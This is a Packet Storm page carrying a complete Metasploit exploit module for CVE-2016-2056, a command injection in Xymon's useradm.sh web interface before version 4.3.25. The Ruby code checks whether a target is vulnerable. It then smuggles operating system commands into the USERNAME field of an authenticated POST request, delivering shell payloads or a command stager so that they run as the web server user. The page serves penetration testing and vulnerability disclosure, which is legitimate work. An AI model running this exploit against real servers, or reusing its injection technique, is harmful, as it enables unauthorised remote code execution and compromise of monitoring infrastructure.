what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Xymon useradm Command Execution

Xymon useradm Command Execution
Posted Jul 12, 2019
Authored by Brendan Coles, Markus Krell | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in Xymon versions before 4.3.25 which allows authenticated users to execute arbitrary operating system commands as the web server user. When adding a new user to the system via the web interface with useradm.sh, the user's username and password are passed to htpasswd in a call to system() without validation. This module has been tested successfully on Xymon version 4.3.10 on Debian 6.

tags | exploit, web, arbitrary
systems | linux, debian
advisories | CVE-2016-2056
SHA-256 | 56921faf23d84d68f64c70045561cd00f989f797c3579b3de87eae4139a3e53c

Xymon useradm Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Xymon useradm Command Execution',
'Description' => %q{
This module exploits a command injection vulnerability in Xymon
versions before 4.3.25 which allows authenticated users
to execute arbitrary operating system commands as the web
server user.

When adding a new user to the system via the web interface with
`useradm.sh`, the user's username and password are passed to
`htpasswd` in a call to `system()` without validation.

This module has been tested successfully on Xymon version 4.3.10
on Debian 6.
},
'License' => MSF_LICENSE,
'Author' => [
'Markus Krell', # Discovery
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2016-2056'],
['PACKETSTORM', '135758'],
['URL', 'https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'],
['URL', 'https://www.securityfocus.com/archive/1/537522/100/0/threaded'],
['URL', 'https://sourceforge.net/p/xymon/code/7892/'],
['URL', 'https://www.debian.org/security/2016/dsa-3495']
],
'DisclosureDate' => '2016-02-14',
'Platform' => %w(unix linux solaris bsd),
'Targets' =>
[
[
'Unix CMD',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {
'Space' => 2048,
'BadChars' => "\x00\x0A\x0D",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python netcat php'
}
}
}
],
[
'Linux',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86,ARCH_X64],
}
],
[
'Solaris',
{
'Platform' => 'solaris',
'Arch' => [ARCH_X86]
}
],
[
'BSD',
{
'Platform' => 'bsd',
'Arch' => [ARCH_X86, ARCH_X64]
}
]
],
'Privileged' => false,
'DefaultTarget' => 0))
register_options([
OptString.new('TARGETURI', [
true, 'The base path to Xymon secure CGI directory', '/xymon-seccgi/'
]),
OptString.new('USERNAME', [true, 'The username for Xymon']),
OptString.new('PASSWORD', [true, 'The password for Xymon'])
])
end

def user
datastore['USERNAME']
end

def pass
datastore['PASSWORD']
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'useradm.sh'),
'authorization' => basic_auth(user, pass)
})

unless res
vprint_status "#{peer} - Connection failed"
return CheckCode::Unknown
end

if res.code == 401
vprint_status "#{peer} - Authentication failed"
return CheckCode::Unknown
end

if res.code == 404
vprint_status "#{peer} - useradm.sh not found"
return CheckCode::Safe
end

unless res.body.include?('Xymon')
vprint_status "#{peer} - Target is not a Xymon server."
return CheckCode::Safe
end

version = res.body.scan(/>Xymon ([\d\.]+)</).flatten.first

unless version
vprint_status "#{peer} - Could not determine Xymon version"
return CheckCode::Detected
end

vprint_status "#{peer} - Xymon version #{version}"

if Gem::Version.new(version) >= Gem::Version.new('4.3.25')
return CheckCode::Safe
end

CheckCode::Appears
end

def execute_command(cmd, opts = {})
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'useradm.sh'),
'method' => 'POST',
'authorization' => basic_auth(user, pass),
'vars_post' => Hash[{
'USERNAME' => "';#{cmd} & echo '",
'PASSWORD' => '',
'SendCreate' => 'Create'
}.to_a.shuffle]
}, 5)

return if session_created?

unless res
fail_with(Failure::Unreachable, 'Connection failed')
end

if res.code == 401
fail_with(Failure::NoAccess, 'Authentication failed')
end

unless res.code == 500
fail_with(Failure::Unknown, 'Unexpected reply')
end

print_good "#{peer} - Payload sent successfully"

res
end

def exploit
unless [Exploit::CheckCode::Detected, Exploit::CheckCode::Appears].include?(check)
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

if payload.arch.first == 'cmd'
execute_command(payload.encoded)
else
execute_cmdstager(linemax: 1_500)
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close